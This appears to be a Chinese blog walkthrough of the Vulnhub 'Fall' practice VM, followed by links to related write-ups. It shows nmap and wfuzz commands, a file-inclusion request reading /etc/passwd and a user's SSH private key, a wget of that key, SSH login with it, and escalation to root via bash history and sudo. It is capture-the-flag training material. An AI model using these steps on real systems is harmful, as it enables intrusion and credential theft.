Vulnhub实战-FULL靶机

下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/

1.描述

通过描述我们可以知道这个靶机枚举比较多。

2.主机探测,端口扫描

  1. 主机探测

    可以看到扫出主机IP为:192.168.33.60

    nmap -sn 192.168.33.0/24

  1. 接下来进行端口扫描,服务发现

nmaps -sS -p- -v 192.168.33.60

我们可以看到开启了22,80,139,443,445,3306,9090端口,这里端口一大部分都是障眼法噢,比如那个3306,不管了80端口开了,肯定有web服务了,先去看看再说。

3.web服务测试

  1. 访问IP打开看到一个页面,然后找找看看发现了这样一个页面:

这句话说让我们不要再用test脚本去污染webroot了,我没干。那既然有人干了,我们就去看看test.php在不在吧,访问http://192.168.33.60/test.php,得到如下提示:

提示:说我们的http参数错误

还记得一开始说的这个靶机枚举比较多嘛,这里我们爆破以下http参数吧,通过wfuzz(kali自带的)

不懂命令的可以看看这个教程:https://www.cnblogs.com/Xy--1/p/12913514.html

wfuzz -c -w /root/dictionary/fuzzDicts-master/paramDict/AllParam.txt --hh 80 --hc 404,403 -u "http://192.168.33.60/test.php?FUZZ=/etc/passwd" -t 60

可以看到我们成功爆出参数file了,通过file去访问一下看看:

http://192.168.33.60/test.php?file=/etc/passwd

我们看到了用户名qiu,然后这里接着就是通过ssh密钥登录ssh了。

ssh密钥登录的相关知识可以参考如下文章:https://wangdoc.com/ssh/key.html

我们这里通过file存在文件包含漏洞了,接下来我们看看默认的存在密钥的地方有没有私钥吧。

ssh密钥默认存放目录:

/home/用户名/.ssh/id_rsa         //rsa加密的私钥
/home/用户名/.ssh/id_rsa.pub //rsa加密的公钥
/home/用户名/.ssh/id_dsa //dsa加密的私钥
/home/用户名/.ssh/id_rsa.pub //dsa加密的公钥

一般ssh加密算法就是rsa和dsa加密。以上都是ssh密钥的默认文件名和默认存放目录

接下来我们尝试读取以下发现了rsa加密的私钥:

我们把私钥文件下载到kali上面然后通过私钥登录ssh,通过私钥登录是不需要密码的,(当然你也可以设置要密码,默认不需要)

wget http://192.168.33.60/test.php?file=/home/qiu/.ssh/id_rsa -O id_rsa

ssh qiu@192.168.33.60 -i id_rsa

4.提权

成功登录ssh之后,我们发现当前用户是qiu,接下来我们想办法提权到root用户。

  1. 我们首先看看历史命令执行了什么,通过查看历史命令我们发现了当前用户的密码,然后我们看看能够以root权限执行什么命令,我们发现用户可以通过sudo执行所以命令,那么我们就能够通过qiu的密码去登录到root用户了。执行sudo su命令成功切换到root用户。
ls -al
cat .bash_history
sudo -l
sudo su



接下来读取proof.txt,先给它777权限在读取,得到flag!

个人总结:通过这篇文章我明白了ssh登录可以通过密钥登录,比密码登录更加安全,因为密码登录,弱密码存在被爆破的可能性,密码太难了又记不住。学到了!


Vulnhub实战-FALL靶机👻的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-doubletrouble靶机👻

    Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...

  3. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  4. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  5. Vulnhub实战-grotesque3靶机👻

    Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...

  6. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  7. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

随机推荐

  1. 紫色飞猪的研发之旅--06go自定义状态码

    在实际开发中,需要前后端需要协商状态码,状态码用于后端返前端时使用.在一个团队中,定义的状态码讲道理应该是一致的,项目开始的起始阶段状态码应该是定义了个七七八八的,随着功能的叠加而不断增加.此系列将围 ...

  2. golang context包

    go context标准库 context包在Go1.7版本时加入到标准库中.其设计目标是给Golang提供一个标准接口来给其他任务发送取消信号和传递数据.其具体作用为: 可以通过context发送取 ...

  3. vue JS获取当前时间并格式化 ( 前端小细节,大进步 )

    JS // 获取并且格式化时间     formatter (thistime, fmt) {       let $this = new Date(thistime)       let o = { ...

  4. MySQL——select语句

    select: 基本语法:select 列名 或 * from 对象(表.视图...) where: = > < <> != like ----> like 'old%' ...

  5. Python - 面向对象编程 - __init__() 构造方法

    什么是构造方法 在创建类时, 可手动添加一个   __init__() 方法,称为构造方法,这是一个实例方法 构造方法用于创建实例对象时使用,每当创建一个类的实例对象时,Python 解释器都会自动调 ...

  6. 如果还是看不懂container_of()函数,那算我输

    在linux 内核编程中,会经常见到一个宏函数container_of(ptr,type,member), 但是当你通过追踪源码时,像我们这样的一般人就会绝望了(这一堆都是什么呀? 函数还可以这样定义 ...

  7. Windows 10 之 WSL 2

    Windows Subsystem for Linux(WSL)无疑大大提升了Windows下程序开发的体验. WSL 2向开发者提供的完整的系统调用兼容,使得许多无法在WSL 1中安装的应用,如Do ...

  8. elementUI 表格 table 的表头错乱问题

    页面中多组件开发时,如果页面中有表格的,table表格头出现表头错乱 // 全局设置1 body .el-table th.gutter{ 2 display: table-cell!importan ...

  9. PHP多文件上传格式化

    文件上传是所有web应用中最常见的功能,而PHP实现这一功能也非常的简单,只需要前端设置表单的 enctype 值为 multipart/form-data 之后,我们就可以通过 $_FILES 获得 ...

  10. Shell系列(35)- for循环语法一简介及批量解压缩脚本

    for循环语法一 for 变量 in 值1 值2 值3 - do 程序 done 例子 需求:批量解压缩 脚本: #!/bin/bash cd /root/publicls *.tar.gz > ...